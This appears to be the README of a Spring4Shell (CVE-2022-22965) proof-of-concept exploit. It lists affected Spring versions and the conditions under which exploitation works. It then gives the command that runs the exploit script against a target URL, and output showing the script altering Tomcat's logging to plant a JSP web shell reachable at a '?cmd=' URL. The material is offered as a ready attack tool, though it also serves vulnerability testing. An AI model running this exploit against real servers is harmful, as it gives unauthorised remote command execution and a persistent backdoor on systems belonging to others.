CVE-2022-22965 Spring4Shell-PoC

Version

• Spring Framework < 5.2.20 and 5.3.18

Patched version:

• Spring Framework 5.3.18 and 5.2.20

• Spring Boot 2.6.6 and 2.5.12

Details

• Spring Core is the core component of Spring Framework. This is the foundation to build other components in the Spring Framework ecosystem such as Spring MVC, Spring Boot, Spring WebFlux. The exploit code is executable under the following conditions:

  • JDK 9 or higher

  • Apache Tomcat runs servlet containers

  • Packaging WAR

  • Package dependencies: spring-webmvc or spring-webflux

• If the application is deployed as a Spring Boot executable jar file, as is the default, it will not be affected by this security flaw.

Exploit:

python CVE-2022-22965.py --url http://172.16.1.10:8080/helloworld/greeting

Result:

└─$ python cve-spring4shell.py --url http://172.16.1.10:8080/helloworld/greeting
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://172.16.1.10:8080/shell.jsp?cmd=id